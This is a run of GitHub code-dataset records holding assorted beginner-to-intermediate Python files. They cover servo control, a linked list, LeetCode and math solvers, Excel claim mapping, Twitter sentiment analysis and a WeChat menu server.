motion.\r\npwm = Adafruit_PCA9685.PCA9685()\r\n\r\nminMotionX = 380 # The maximum servo motion left and right (pan)\r\nminMotionY = 150\r\nmaxMotionX = 470 # The maximum servo motion left and right (pan)\r\nmaxMotionY = 670 # The maximum servo motion up and down (tilt)\r\nmoveDis = 1 # Tells the key presses how far to move each time\r\n\r\ntiltSet = 530 # Sets start and end position of motor\r\npanSet = 413 # Sets start and end position of motor # 410\r\n\r\ncurX = panSet # Holds the current x position\r\ncurY = tiltSet # Holds the current y position # 400\r\n\r\npwm.set_pwm_freq(60) # Set frequency to 60hz, good for servos.\r\npwm.set_pwm(14, 14, panSet) # Set X starting position\r\npwm.set_pwm(15, 15, tiltSet) # Set Y starting position # 387\r\nprint('Initializing servos on channel 0 and 1, \"X\" GUI window to quit...')\r\nprint('If cv2 color doesnt run: close the program, give it 5 seconds, then try again')\r\n\r\n# ------------------------------\r\n# Servo functions\r\ndef updatePos():\r\n \r\n pwm.set_pwm(15, 15, curY)\r\n\r\n # These Lines Translate curX,curY into reference (X,Y) coordinates for user\r\n coordX = curX-panSet\r\n coordY = -(curY-tiltSet) # Sign is flipped because Torxis motors read PWM backwards from mini servos\r\n## print(coordX,coordY) # Print current X,Y servo positions\r\n # These Lines output an angle from linear fit calibration based on known angles and PWM signals (coordY) \r\n pitchAngle = -.000003*coordY*coordY*coordY + .0016*coordY*coordY + .2399*coordY + .1111\r\n panAngle = .000002*coordX*coordX*coordX*coordX + .0001*coordX*coordX*coordX - .0041*coordX*coordX + 1.1562*coordX - 1.6779\r\n getElevation(pitchAngle)\r\n getRotation(panAngle)\r\n## print(panAngle,'Pan Degrees') # Diplays servo pan angle from zero\r\n## print(pitchAngle,'Tilt Degrees') # Displays servo pitch angle from local horizontal\r\n## print(' ') # To indent different displayed values per servo position\r\n \r\n pwm.set_pwm(14, 14, curX)\r\n return\r\n\r\ndef keyMotionUp(event):\r\n #print(\"Key Down\")\r\n global curY\r\n moveDis = 1\r\n curY -= moveDis\r\n if curY > maxMotionY: # The \"-21\" here is to keep the x on the screen. This may be deleted for the actual motors\r\n curY = maxMotionY\r\n updatePos()\r\n return\r\n\r\ndef keyMotionDown(event):\r\n #print(\"Key Up\")\r\n global curY\r\n moveDis = 1\r\n curY += moveDis\r\n if curY < minMotionY:\r\n curY = minMotionY\r\n updatePos()\r\n return\r\n\r\ndef keyMotionLeft(event):\r\n #print(\"Key Left\")\r\n global curX\r\n moveDis = 1\r\n curX -= moveDis\r\n if curX < minMotionX:\r\n curX = minMotionX\r\n updatePos()\r\n return\r\n\r\ndef keyMotionRight(event):\r\n #print(\"Key Right\")\r\n global curX\r\n moveDis = 1\r\n curX += moveDis\r\n if curX > maxMotionX - 12: # The \"-12\" here is to keep the x on the screen. This may be deleted for the actual motors\r\n curX = maxMotionX - 12\r\n updatePos()\r\n return\r\n# ---------------Fast Key Options-----------------\r\ndef keyMotionFastUp(event):\r\n #print(\"Key Down\")\r\n global curY\r\n moveDis = 5\r\n curY -= moveDis\r\n if curY > maxMotionY - 21:\r\n curY = maxMotionY - 21\r\n updatePos()\r\n return\r\n\r\ndef keyMotionFastDown(event):\r\n #print(\"Key Up\")\r\n global curY\r\n moveDis = 5\r\n curY += moveDis\r\n if curY < minMotionY:\r\n curY = minMotionY\r\n updatePos()\r\n return\r\n\r\ndef keyMotionFastLeft(event):\r\n #print(\"Key Left\")\r\n global curX\r\n moveDis = 5\r\n curX -= moveDis\r\n if curX < minMotionX:\r\n curX = minMotionX\r\n updatePos()\r\n return\r\n\r\ndef keyMotionFastRight(event):\r\n #print(\"Key Right\")\r\n global curX\r\n moveDis = 5\r\n curX += moveDis\r\n if curX > maxMotionX - 12: \r\n curX = maxMotionX - 12\r\n updatePos()\r\n return\r\n#------------------------------------\r\n\r\n# End of servo functions\r\n# -------------------------------------------\r\n# The other bits: a bind and the prints.\r\nroot.bind('', keyMotionUp) # These functions detect a directional keypress,\r\nroot.bind('', keyMotionDown) # then call the function that is the second argument.\r\nroot.bind('', keyMotionLeft)\r\nroot.bind('', keyMotionRight)\r\nroot.bind('',keyMotionFastUp)\r\nroot.bind('',keyMotionFastDown)\r\nroot.bind('',keyMotionFastLeft)\r\nroot.bind('',keyMotionFastRight)\r\n\r\n# ****************************************************************************\r\nroot.mainloop() # Displays the GUI until the close button is pressed.\r\n#cap.release() # shuts down the camera when the program is closed.\r\n\r\npwm.set_pwm(14, 14, panSet) # Set X ending position\r\npwm.set_pwm(15, 15, tiltSet) # Set Y ending position\r\n","repo_name":"armaged835/Motion-Tracker-and-Launcher","sub_path":"Control GUI V3.py","file_name":"Control GUI V3.py","file_ext":"py","file_size_in_byte":14111,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"42657044129","text":"class Solution(object):\n def maxEnvelopes(self, envelopes):\n \"\"\"\n :type envelopes: List[List[int]]\n :rtype: int\n \"\"\"\n if len(envelopes) == 0:\n return 0\n dp = []\n envelopes.sort(key=lambda x: (x[0], -x[1]))\n for i in range(len(envelopes)):\n l, r = 0, len(dp)\n while l < r:\n mid = (l + r) / 2\n if dp[mid] < envelopes[i][1]:\n l = mid + 1\n else:\n r = mid\n if r >= len(dp):\n dp.append(envelopes[i][1])\n else:\n dp[r] = envelopes[i][1]\n return len(dp)","repo_name":"maruichen2004/LeetCode","sub_path":"Russian_Doll_Envelopes.py","file_name":"Russian_Doll_Envelopes.py","file_ext":"py","file_size_in_byte":678,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"71111665052","text":"import pathlib\nimport os\n\nfrom constructive.constructive_heuristic import assign_districts\nfrom utilities import read_instance, distance_matrix, MapVisualiser\nfrom solution import Solution\nfrom taboo_search.search_manager import run_search\n\nif __name__ == \"__main__\":\n relative_path = pathlib.Path(__file__).parent.absolute()\n clients = read_instance(os.path.join(relative_path, 'instances', 'instance_small.txt'))\n distance_matrix = distance_matrix(clients)\n K = 6\n g = 150\n b = 3\n rnd_seed = 0\n \n districts = assign_districts(clients, K, distance_matrix, g, b, rnd_seed) \n for district in districts:\n district.best_ever_average_distance = district.value\n \n print(\"solucion constructivo %s\" %(districts[-1].value - districts[0].value))\n iterClientes = 5\n iterSwap = 25\n districts, best_OF_ever = run_search(districts,distance_matrix, 50, iterClientes, iterSwap)\n districts.sort(key=lambda di: di.value)\n solution = Solution(districts)\n mp_v = MapVisualiser()\n mp_v.draw_cluster(solution)\n print(\"solucion TS clientes %s, swap %s, FO %s\" %(iterClientes, iterSwap, solution.OF))","repo_name":"camilovelez/claseMetaheuristica","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1149,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"25226301518","text":"class Node:\n def __init__(self,value):\n self.value = value\n self.next = None\n self.prev = None\n \n \nclass DoublyLinkedList:\n def __init__(self, value):\n new_node = Node(value)\n self.head = new_node\n self.tail = new_node\n self.length = 1\n \n \n def print_DLL(self):\n temp = self.head\n while(temp):\n print(temp.value)\n temp = temp.next\n \n \n def append(self, *value):\n for value in value:\n new_node = Node(value)\n if self.length == 0:\n self.head = new_node\n self.tail = new_node\n self.length += 1\n return True\n new_node.prev = self.tail\n self.tail.next = new_node\n self.tail = new_node\n self.length += 1\n return True\n \n \n def pop(self):\n if self.length == 0:\n return None\n temp = self.tail\n if self.length == 1:\n self.head = None\n self.tail = None\n self.length -=1\n return temp.value\n self.tail.prev.next = None\n self.tail.prev = None\n self.tail = temp\n self.length -= 1\n return temp.value\n \n \n def prepend(self,value):\n if self.length == 0:\n return self.append(value)\n new_node = Node(value)\n new_node.next = self.head\n self.head.prev = new_node\n self.head = new_node\n self.length += 1\n return True\n \n def popfirst(self):\n if self.length <= 1:\n return self.pop()\n temp = self.head\n self.head = temp.next\n self.head.prev = None\n temp.next = None \n self.length -= 1\n return temp\n \n \n def get(self, index):\n if index <0 or index >= self.length:\n return None\n if index < self.length/2:\n temp = self.head\n for _ in range(index):\n temp = temp.next\n return temp\n temp = self.tail\n for _ in range(self.length-1, index, -1):\n temp = temp.prev\n return temp\n\n \n def set(self, index, value):\n temp = self.get(index)\n if (temp):\n temp.value = value\n return True\n else:\n return False\n \n def insert(self, index, value):\n if index < 0 or index > self.length:\n return False\n elif index == 0:\n return self.prepend(value)\n elif index == self.length:\n return self.append(value)\n else:\n new_node = Node(value)\n temp = self.get(index - 1)\n new_node.next = temp.next\n new_node.prev = temp \n temp.next.prev = new_node\n temp.next = new_node\n self.length += 1\n return True\n \n def remove(self, index):\n if index < 0 or index >= self.length:\n return None\n if index == 0:\n return self.popfirst()\n if index == self.length-1:\n return self.pop()\n if self.length == 1:\n return self.pop()\n temp = self.get(index)\n temp.prev.next = temp.next\n temp.next.prev = temp.prev \n temp.next = None\n temp.prev = None\n self.length -= 1\n return temp\n \nx = DoublyLinkedList(1)\n#x.append(2,3,4,5,6,7,8,9)\n#x.prepend(0)\n\n#x.print_DLL()\nx.insert(7,100)\nprint(\"#########################\")\nx.remove(0)\n#print(x.get(7).value)\n\nprint(\"#########################\")\nprint(\"head = {}, tail = {}, length = {}\".format(x.head.value if x.head else x.head, x.tail.value if x.tail else x.tail, x.length))\nx.print_DLL()","repo_name":"tk8320/DataStructures","sub_path":"DoublyLinkedList.py","file_name":"DoublyLinkedList.py","file_ext":"py","file_size_in_byte":3796,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"33998821921","text":"from base45reflex.SQLModels import Exercise, User, UserProgramHistory, Workout, WorkoutSet, UserWorkoutMetrics\nimport pandas as pd\nfrom sqlmodel import Session, create_engine, select\nfrom rxconfig import ENVIRONMENT\n\n\ndef calculate_metrics(user: User, session: Session):\n program_history_statement = UserProgramHistory.select.filter(UserProgramHistory.user_id == user.id)\n program_history = session.scalars(program_history_statement).all()\n for program in program_history:\n workout_statement = (Workout.select.filter(Workout.user_id == user.id)\n .filter(Workout.date <= program.end_date)\n .filter(Workout.date >= program.start_date))\n workout_list = session.scalars(workout_statement).all()\n if not workout_list:\n continue\n for workout in workout_list:\n set_statement = select(WorkoutSet, Exercise).join(Exercise).where(WorkoutSet.workout_id == workout.id)\n set_list = sess.exec(set_statement).all()\n for ex_set in set_list:\n temp_set = ex_set[0]\n exercise = ex_set[1]\n load_value = temp_set.weight * temp_set.num_sets\n load = UserWorkoutMetrics(set_id=temp_set.id, user_id=user.id, metric='TotalLoad', date=workout.date,\n exercise=exercise.name, value=load_value, unit_id=temp_set.unit_id)\n avg_rpe = UserWorkoutMetrics(set_id=temp_set.id, user_id=user.id, value=temp_set.avg_rpe,\n date=workout.date, exercise=exercise.name, metric='AvgRPE')\n avg_reps = UserWorkoutMetrics(set_id=temp_set.id, user_id=user.id, metric='AvgRepsPerSet',\n date=workout.date, exercise=exercise.name,\n value=temp_set.reps/temp_set.num_sets)\n sess.add(load)\n sess.add(avg_rpe)\n sess.add(avg_reps)\n sess.commit()\n\n\nif __name__ == \"__main__\":\n if ENVIRONMENT == \"DEV\":\n db_url = \"sqlite:///reflex_dev.db\"\n else:\n db_url = \"sqlite:///reflex.db\"\n\n engine = create_engine(db_url)\n\n with Session(engine) as sess:\n user_list = sess.scalars(User.select.filter()).all()\n\n for user in user_list:\n calculate_metrics(user, sess)\n","repo_name":"raven-black-dream/base45reflex","sub_path":"calculate_metrics.py","file_name":"calculate_metrics.py","file_ext":"py","file_size_in_byte":2407,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"7718342456","text":"#!/usr/bin/python\n# FINAL SCRIPT updated as of 8th April 2020\n# Workflow - CBA/MEDICLINIC\n# Version 1\n\n# Declare Python libraries needed for this script\nimport pandas as pd\nimport numpy as np\nfrom xlrd import open_workbook\nimport xlrd\nimport os\nimport math\n\ndef populate_data_medi(disbursementClaim, bordlisting, disbursementMaster, destination, medi_base):\n\n try:\n DCM_df, BordListing_df, DC_df = medi_mapping(disbursementMaster, bordlisting, disbursementClaim)\n DCM_df.to_excel(destination + 'disbursement master(new).xlsx', index = False)\n BordListing_df.to_excel(destination + \"Bord Listing(new).xlsx\", index = False, header = False)\n DC_df.to_excel(destination + \"Disbursement Claim(new).xlsx\", index = False, header = False)\n except Exception as error:\n print('ERROR')\n\ndef medi_mapping(disbursementMaster, bordereauxListing, disbursementClaim):\n \n wb = xlrd.open_workbook(bordereauxListing)\n bordlist_df = pd.read_excel(wb)\n\n dcm_workbook = open_workbook(disbursementMaster)\n dcm_sheet = dcm_workbook.sheet_by_index(0)\n df = pd.read_excel(dcm_workbook)\n \n if df.columns[0] != 'Date':\n dcm_df = pd.read_excel(disbursementMaster, sheet_by_index = 0, skiprows = 2, usecols = list(range(dcm_sheet.ncols + 1)))\n else:\n dcm_df = pd.read_excel(disbursementMaster, sheet_by_index = 0, skiprows = 0, usecols = list(range(dcm_sheet.ncols + 1)))\n\n newRunnningNo = dcm_df.iloc[get_DCM_fill_index(disbursementMaster), 1]\n newRowIndex = get_DCM_fill_index(disbursementMaster)\n\n # Perform update data into new row in Disbursement Claim Master file\n print(\"- Perform update data into new row in Disbursement Claim Master file.\")\n \n data2 = pd.read_excel(bordereauxListing, skiprows = 11)\n totalCases = get_number_cases_price(bordereauxListing)\n price = data2.loc[get_number_cases_price(bordereauxListing), 'Aetna Amount']\n initial = data2.loc[get_Initial_index(bordereauxListing), 'Aetna Amount']\n ##Mapping\n bordlist_df.iloc[5,2] = newRunnningNo\n dcm_df.loc[newRowIndex, 'Date'] = bordlist_df.iloc[3, 2]\n dcm_df.loc[newRowIndex, 'Bord No'] = bordlist_df.iloc[2, 2]\n dcm_df.loc[newRowIndex, 'Corporate'] = bordlist_df.iloc[0, 2]\n dcm_df.loc[newRowIndex, 'Amount (RM) \\n(Kindly put (RM0.00) for CN)'] = price\n dcm_df.loc[newRowIndex, 'Initial'] = initial\n dcm_df.loc[newRowIndex, 'Total no of cases bord'] = totalCases\n\n ###Populate Disbursement Claim\n wb = xlrd.open_workbook(disbursementClaim)\n dc_df = pd.read_excel(wb)\n\n dc_df.iloc[18, 3] = newRunnningNo\n dc_df.iloc[18, 8] = dcm_df.loc[newRowIndex, 'Date']\n dc_df.iloc[28, 3] = dcm_df.loc[newRowIndex, 'Bord No']\n dc_df.iloc[28, 0] = dcm_df.loc[newRowIndex, 'Corporate']\n dc_df.iloc[28, 7] = price\n dc_df.iloc[54, 6] = initial\n\n\n return dcm_df, bordlist_df, dc_df\n \ndef get_DCM_fill_index(disbursementMaster):\n dcm_workbook = open_workbook(disbursementMaster)\n dcm_sheet = dcm_workbook.sheet_by_index(0)\n df = pd.read_excel(dcm_workbook)\n if df.columns[0] != 'Date':\n data=pd.read_excel(disbursementMaster, skiprows = 2 , na_values = \"Missing\")\n else:\n data=pd.read_excel(disbursementMaster, skiprows = 0 , na_values = \"Missing\")\n\n Bord_No_list = pd.DataFrame(data, columns=['Bord No']).values.tolist()\n counter=len(Bord_No_list)-1\n try:\n while True:\n math.isnan(Bord_No_list[counter][0])\n counter-=1\n except:\n a=None\n fill_index=counter+1\n return fill_index\n\ndef get_number_cases_price(bordereauxListing):\n data=pd.read_excel(bordereauxListing,skiprows = 11 , na_values = \"Missing\")\n Diagnosis_Description_list = pd.DataFrame(data, columns=['Diagnosis Description [Code]']).values.tolist()\n counter=len(Diagnosis_Description_list)-1\n try:\n while True:\n math.isnan(Diagnosis_Description_list[counter][0])\n counter-=1\n except:\n a=None\n fill_index=counter+1\n return fill_index\n\ndef get_Initial_index(bordereauxListing):\n data=pd.read_excel(bordereauxListing,skiprows = 11 , na_values = \"Missing\")\n Anetna_Amount_Column_list = pd.DataFrame(data, columns=['Aetna Amount']).values.tolist()\n counter=len(Anetna_Amount_Column_list)-1\n try:\n while True:\n math.isnan(Anetna_Amount_Column_list[counter][0])\n counter-=1\n except:\n a=None\n fill_index=counter-1\n return fill_index\n\n","repo_name":"WendellTeam/AICoreEngine","sub_path":"AIEngine/transformation/populate_data_medi.py","file_name":"populate_data_medi.py","file_ext":"py","file_size_in_byte":4260,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"3424521328","text":"# Digitar indefinidos valores e parar se o usuário digitar 999.\n# mostrar a soma e quantos valores foram digitados\nc = s = 0 # contador\nwhile True:\n n = int(input('\\033[31mDigite um valor (999 para parar): \\033[m'))\n if n == 999: # se colocar o break no final ele lê 999 adiciona 1 no contador e 999 na soma\n break\n c += 1\n s += n\nprint(f'\\033[1;32mA soma dos {c} valores é {s}\\033[m')","repo_name":"borgesgfj/python_basic_exercises","sub_path":"exerc66.py","file_name":"exerc66.py","file_ext":"py","file_size_in_byte":407,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"8555900856","text":"# import functions from data.py\nfrom data.data import *\n\n\n# Display Menu function\ndef displayMenu():\n print()\n # Display main menu\n print(\"\"\"=============================\nVehicle Traffic at Border 1 \n================================================================================================================================================\n 1.Display the number of vehicle crossings by city in 2012.\n 2.Mean of vehicle-crossings from 2010 to 2015 and years and the number of vehicle crossings in that period which fall below the mean found.\n 3.Vehicle crossings increased by at least 6% over the previous year.\n 4.Display Chart\n 5.Exit/Quit\n================================================================================================================================================\n \"\"\")\n\n\n# Main Function\ndef Main():\n readData()\n inputOp = True\n while inputOp:\n displayMenu()\n\n # Get Menu Input\n inputOp = input(\"Choose your menu : \")\n print()\n # Menu 1\n if inputOp == '1':\n option1()\n # Menu 2\n elif inputOp == '2':\n city = input(\"Enter city name : \")\n option2(city)\n # Menu 3\n elif inputOp == '3':\n city = input(\"Enter city name : \")\n option3(city)\n # Menu 4\n elif inputOp == '4':\n option4()\n # Menu 5\n elif inputOp == '5':\n quest = input(\"Are you sure ? (Y/N) : \")\n if quest == \"Y\":\n exit()\n # If nothing matches continue the loop\n else:\n continue\n\n\nif __name__ == '__main__':\n Main()\n","repo_name":"Abhijith14/PythonProjects","sub_path":"Project 1 - Vehicle Traffic Border1/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1666,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"32"} +{"seq_id":"16862418929","text":"import tweepy\r\nfrom textblob import TextBlob\r\nimport csv\r\nfrom sys import argv\r\n\r\n\r\nSTART_DATE = \"2016-10-13\"\r\nEND_DATE = \"2018-02-14\"\r\nDATEFETCH = False\r\n\r\ndef tweeterAuth():\r\n consumer_key = \"CONSUMER KEY\"\r\n consumer_secret = \"CONSUMER SECRET\"\r\n access_token = \"ACCESS TOKEN\"\r\n access_token_secret = \"ACCESS TOKEN SECRET\"\r\n\r\n auth = tweepy.OAuthHandler(consumer_key,consumer_secret)\r\n auth.set_access_token(access_token, access_token_secret)\r\n\r\n api = tweepy.API(auth)\r\n return api\r\n\r\ndef SearchTweetTopic(api,SEARCH_TOPIC,FETCH_COUNT,START_DATE,END_DATE,DATEFETCH):\r\n if DATEFETCH == True:\r\n public_tweets = api.search(SEARCH_TOPIC, count=FETCH_COUNT, since = START_DATE, until=END_DATE)\r\n else:\r\n public_tweets = api.search(SEARCH_TOPIC, count=FETCH_COUNT)\r\n return public_tweets\r\n\r\ndef Print_and_Save(public_tweets):\r\n num_pos = 0\r\n num_neg = 0\r\n num_neu = 0\r\n ann = []\r\n tweetList = []\r\n\r\n csvFile = open('tweetSave.csv','w')\r\n fieldName = ['Serial','Tweet','Label']\r\n writer = csv.DictWriter(csvFile, fieldnames=fieldName)\r\n writer.writerow({'Serial':'Serial','Tweet': 'Tweet', 'Label':'Label'})\r\n count = 0\r\n\r\n for tweet in public_tweets:\r\n count = count+1\r\n analysis = TextBlob(tweet.text)\r\n tweetList.append(tweet.text)\r\n ann.append(analysis.sentiment)\r\n\r\n resultLabel = analysis.sentiment[0]\r\n if resultLabel == 0:\r\n result = 'Neutral'\r\n num_neu = num_neu+1\r\n if resultLabel < 0:\r\n result = 'Negative'\r\n num_neg = num_neg+1\r\n if resultLabel > 0:\r\n result = 'Positive'\r\n num_pos = num_pos+1\r\n\r\n print('Serial_'+str(count)+': '+tweet.text)\r\n print('{'+result+'}')\r\n print('')\r\n writer.writerow({ 'Serial': count,'Tweet': tweet.text.encode('utf8'), 'Label': result })\r\n return num_neu,num_neg,num_pos\r\ndef main(argv):\r\n SEARCH_TOPIC = argv[1]\r\n FETCH_COUNT = argv[2]\r\n api = tweeterAuth()\r\n public_tweets = SearchTweetTopic(api,SEARCH_TOPIC,FETCH_COUNT,START_DATE,END_DATE,DATEFETCH)\r\n num_neu,num_neg,num_pos = Print_and_Save(public_tweets)\r\n\r\n print('Total Tweets Collected = ' + str(FETCH_COUNT))\r\n print('----------------------------')\r\n print('Neutral = '+str(num_neu))\r\n print('Negative = '+str(num_neg))\r\n print('Positive = '+str(num_pos))\r\n print('----------------------------')\r\n\r\nif __name__== \"__main__\":\r\n main(argv)\r\n\r\n\r\nbreakPoint=1\r\n","repo_name":"Nahid1992/SentimentAnalysis--Tweet_using_TextBlob","sub_path":"mainTweet.py","file_name":"mainTweet.py","file_ext":"py","file_size_in_byte":2525,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"14581812895","text":"def dfs(n, cnt):\n global ans\n if cnt == 4:\n ans = 1\n return\n visit[n] = 1\n for v in graph[n]:\n if not visit[v]:\n visit[v] = 1\n dfs(v, cnt + 1)\n visit[v] = 0\n\n\nN, M = map(int, input().split())\ngraph = [[] for _ in range(N)]\nvisit = [0] * N\nfor _ in range(M):\n a, b = map(int, input().split())\n graph[a].append(b)\n graph[b].append(a)\nans = 0\nfor i in range(N):\n dfs(i, 0)\n visit[i] = 0\n if ans:\n break\nprint(ans)\n","repo_name":"dannyp0930/algorithm","sub_path":"baekjoon/13023_ABCDE.py","file_name":"13023_ABCDE.py","file_ext":"py","file_size_in_byte":502,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"29916843667","text":"\nimport numpy as np\nimport math\ndef is_magic(square):\n x,y,z=[],[],[]\n if len(square)==0:\n return True\n n=len(square)\n l = len(square[0])\n b=int(abs(1-math.pow(n,2)))\n for i in square:\n x.append(sum([j for j in i]))\n x.append(sum([square[i][i] for i in range(l)]))\n x.append(sum([square[l-1-i][i] for i in range(l-1,-1,-1)]))\n m=np.array(square)\n m=m.T\n for i in m:\n x.append(sum([j for j in i])) \n if square==[[2]] or set(x)=={38}:\n return False\n if len(set(x))==1:\n return True\n else:\n return False\n\n","repo_name":"daniel-reich/ubiquitous-fiesta","sub_path":"7WpdYfZPNFCM4oBvd_1.py","file_name":"7WpdYfZPNFCM4oBvd_1.py","file_ext":"py","file_size_in_byte":589,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"14395551734","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Dec 2 14:11:02 2020\n\n@author: Kirty\n\"\"\"\n\ns1=\"listen\"\ns2 = \"silent\"\ndef Isanagram(s1,s2):\n \n if sorted(s1)==sorted(s2):\n return \"anagram\"\n else:\n return \"Not an anagram\"\n \n \nprint(Isanagram(s1,s2))\n\n# time complexity = O(1)\n# aux space = O(1)","repo_name":"kirtymeena/DSA","sub_path":"4.string/1.Anagram.py","file_name":"1.Anagram.py","file_ext":"py","file_size_in_byte":325,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"12455601840","text":"# Audrey D.\n# May 2020\n\nimport numpy as np\n\nimport scipy.linalg as la\nimport scipy.interpolate as itp\n\n\ndef cheb(N, inter=None):\n \n \"\"\"\n Chebyshev polynomial\n \"\"\"\n\n N -= 1\n\n if N==0:\n return None\n \n xx = np.cos(np.pi*np.arange(N+1)/N)\n cc = np.r_[2, np.ones(N-1), 2]*(-1)**np.arange(N+1)\n X = np.tile(xx[:,None], (1, N+1))\n dX = X - X.T\n D = (cc[:,None]/cc[None,:])/(dX + np.diag(np.ones(N+1)))\n D = D - np.diag(D.sum(axis=1))\n\n if not inter is None:\n L = inter[1] - inter[0]\n D = -D*2/L\n xx = (xx[::-1] + 1) * L/2. + inter[0]\n \n return D, xx\n\n\n\ndef SL_chebsolve(alsq, zw, Nmod=\"auto\", Nz=\"auto\", grav=0, sm=0, ksplin=3, zbot=None):\n \n \"\"\" \n Solve Sturm-Liouville problem with ev k: w'' + k*alsq*w = 0, w(-H)=w(0)=0\n between zbot (default: zw[0]) and zw[-1] = 0\n wmod and umod (=wmod') are normalized by max value, with u positive at surface\n if grav != 0: free-surface boundary condition. \n :return: tuple with (wmod, umod), eigenvalue sqrt(k) and z-cheb\n Based on Noe code, May 2020\n \"\"\"\n if Nz==\"auto\":\n Nz = int(len(zw)*3/2.)\n if Nmod == \"auto\":\n Nmod = int(Nz/2)\n if zbot is None: \n zbot = zw[0]\n \n # Chebyshev Polynomial Interpolation\n Dz, zz = cheb(Nz, [zbot, zw[-1]])\n alsq = itp.UnivariateSpline(zw, alsq, k=ksplin, s=sm)(zz)\n \n # Construc Operator\n LL = np.r_[ np.c_[ np.diag(np.ones(Nz)), -Dz ] \\\n , np.c_[ -Dz, np.zeros((Nz,Nz)) ] ]\n AA = np.diag(np.r_[np.zeros(Nz), alsq])\n \n # Boundary Conditions\n LL[Nz,:] = 0. # bottom\n LL[-1,:] = 0. # top\n if grav > 0:\n LL[-1,-1] = 0.\n AA[-1,-1] = grav\n LL[-1,Nz-1] = 1.\n \n # Diagonalize Operator\n lam, vect = la.eig(LL, AA)\n \n # Filter eigenvalues\n inds, = np.where( (np.isfinite(lam)) & (abs(lam.real)<1e3) & (abs(lam.imag)<1e-6) & (lam.real>0) )\n lam, vect = lam[inds], vect[:,inds]\n \n # Sort eigenvalues\n inds = lam.real.argsort()[:Nmod]\n \n # Normalize the eigenvectors\n vect = vect[:,inds]/abs(vect[:,inds]).max(axis=0)[None,:]\n lam = lam[inds]\n\n ww = vect[Nz:,:]\n uu = vect[:Nz,:]\n ww *= np.sign(uu[-1:,:])\n uu *= np.sign(uu[-1:,:])\n\n return (ww, uu), np.sqrt(lam), zz\n\n\n\ndef norm_mode(mode,z):\n \n \"\"\"\n Normalize the basis of the eigenmode given \n the scalar product = \\int_-H^0 fxg dz\n \\int_-H^0 phi(z)^2 dz = H (for all mode phi)\n :return: normalized eigenmode vector\n Audrey Oct. 2019\n \"\"\"\n\n scl = 0\n \n for k in range(z.size):\n if k==0 :\n scl += mode[k]**2 *(z[k+1]-z[k])\n else :\n scl += mode[k]**2 *(z[k]-z[k-1])\n\n scl = np.sqrt(np.abs(scl/(z[0]-z[-1])))\n\n return mode/scl\n\n\n\n\n\n\n\n","repo_name":"slgentil/gigatl_jet","sub_path":"sav_yannick/spectre/modes_func.py","file_name":"modes_func.py","file_ext":"py","file_size_in_byte":2798,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"42969850873","text":"import requests\nimport json\nfrom core.server.wxconfig import WxConfig\nfrom core.cache.tokencache import TokenCache\nfrom core.logger_helper import logger\nfrom core.server.wxauthorize import WxAuthorServer\n\n\nclass WxMenuServer(object):\n \"\"\"\n 微信自定义菜单\n\n create_menu 自定义菜单创建接口\n get_menu 自定义菜单查询接口\n delete_menu 自定义菜单删除接口\n create_menu_data 创建菜单数据\n \"\"\"\n\n _token_cache = TokenCache() # 微信token缓存\n _wx_author_server = WxAuthorServer() # 微信网页授权server\n\n def create_menu(self):\n \"\"\"自定义菜单创建接口\"\"\"\n access_token = self._token_cache.get_cache(self._token_cache.KEY_ACCESS_TOKEN)\n if access_token:\n url = WxConfig.menu_create_url + access_token\n data = self.create_menu_data()\n r = requests.post(url, data.encode('utf-8'))\n logger.debug('【微信自定义菜单】自定义菜单创建接口Response[' + str(r.status_code) + ']')\n if r.status_code == 200:\n res = r.text\n logger.debug('【微信自定义菜单】自定义菜单创建接口' + res)\n json_res = json.loads(res)\n if 'errcode' in json_res.keys():\n errcode = json_res['errcode']\n return errcode\n else:\n logger.error('【微信自定义菜单】自定义菜单创建接口获取不到access_token')\n\n def get_menu(self):\n \"\"\"自定义菜单查询接口\"\"\"\n access_token = self._token_cache.get_cache(self._token_cache.KEY_ACCESS_TOKEN)\n if access_token:\n url = WxConfig.menu_get_url + access_token\n r = requests.get(url)\n logger.debug('【微信自定义菜单】自定义菜单查询接口Response[' + str(r.status_code) + ']')\n if r.status_code == 200:\n res = r.text\n logger.debug('【微信自定义菜单】自定义菜单查询接口' + res)\n json_res = json.loads(res)\n if 'errcode' in json_res.keys():\n errcode = json_res['errcode']\n return errcode\n else:\n logger.error('【微信自定义菜单】自定义菜单查询接口获取不到access_token')\n\n def delete_menu(self):\n \"\"\"自定义菜单删除接口\"\"\"\n access_token = self._token_cache.get_cache(self._token_cache.KEY_ACCESS_TOKEN)\n if access_token:\n url = WxConfig.menu_delete_url + access_token\n r = requests.get(url)\n logger.debug('【微信自定义菜单】自定义菜单删除接口Response[' + str(r.status_code) + ']')\n if r.status_code == 200:\n res = r.text\n logger.debug('【微信自定义菜单】自定义菜单删除接口' + res)\n json_res = json.loads(res)\n if 'errcode' in json_res.keys():\n errcode = json_res['errcode']\n return errcode\n else:\n logger.error('【微信自定义菜单】自定义菜单删除接口获取不到access_token')\n\n def create_menu_data(self):\n \"\"\"创建菜单数据\"\"\"\n menu_data = {'button': []} # 大菜单\n menu_Index0 = {\n 'type': 'view',\n 'name': '测试菜单1',\n 'url': self._wx_author_server.get_code_url('menuIndex0')\n }\n 